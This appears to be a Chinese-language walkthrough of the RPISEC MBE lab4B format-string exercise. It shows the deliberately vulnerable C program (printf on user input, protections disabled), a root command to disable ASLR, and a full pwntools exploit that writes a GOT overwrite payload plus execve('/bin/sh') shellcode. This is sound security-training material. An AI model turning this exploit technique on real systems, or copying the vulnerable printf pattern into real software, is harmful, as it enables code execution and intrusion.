源码来自https://github.com/RPISEC/MBE/blob/master/src/lab04/lab4B.c,就是一个简单的字符串格式漏洞。
代码如下:(编译参数稍有改动,基本把所有防护都关了)
/*
* Format String Lab - B Problem
* gcc -z execstack -z norelro -m32 -no-pie -fno-stack-protector -o lab4B main.c
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[])
{
int i = 0;
char buf[100];
/* read user input securely */
fgets(buf, 100, stdin);
/* convert string to lowercase */
for (i = 0; i < strlen(buf); i++)
if (buf[i] >= 'A' && buf[i] <= 'Z')
buf[i] = buf[i] ^ 0x20;
/* print out our nice and new lowercase string */
printf(buf);
exit(EXIT_SUCCESS);
return EXIT_FAILURE;
}
站长已经编译好了,点击这里即可下载
实验的机器已经关闭了alsr,以root权限执行 echo 0 > /proc/sys/kernel/randomize_va_space 即可关闭。
下面是简单的脚本,因为内置的shellcode会被程序替换掉一个字节导致执行失败,所以就简单的修改了shellcode一下。
#!/usr/bin/python2
# -*- coding: utf-8 -*-
from pwn import *
context(arch='i686', os='linux')
# context.terminal=['deepin-terminal','-x','sh','-c']
context.log_level = 'debug'
env = os.environ
# 直接用got地址跳转
elf = ELF('./lab4B')
my_shellcode = '''
/* push '/bin///sh\x00' */
push 0x68
push 0x732f2f2f
push 0x6e69622f
/* call execve('esp', 0, 0) */
xor eax,eax
mov eax,0xb
mov ebx, esp
xor ecx, ecx
cdq /* edx=0 */
int 0x80
'''
# 0xffffce4d是用gdb动态调试得出的
pay_load = fmtstr_payload(6, {elf.got['exit']: 0xffffce4d})
print(len(pay_load))
shellcode = pay_load + asm(my_shellcode)
# open('bin2','wb').write(shellcode)
# print(len(shellcode))
sh = process('./lab4B')
# gdb.attach(proc.pidof(sh)[0],'break *0x80484f1\nc')
# raw_input('#')
sh.sendline(shellcode)
sh.interactive()
我们虽然关闭了ASLR,但是不同的环境其
shellcode
的确切地址任然是不同,所以需要将0xffffce4d
改成我们的环境值。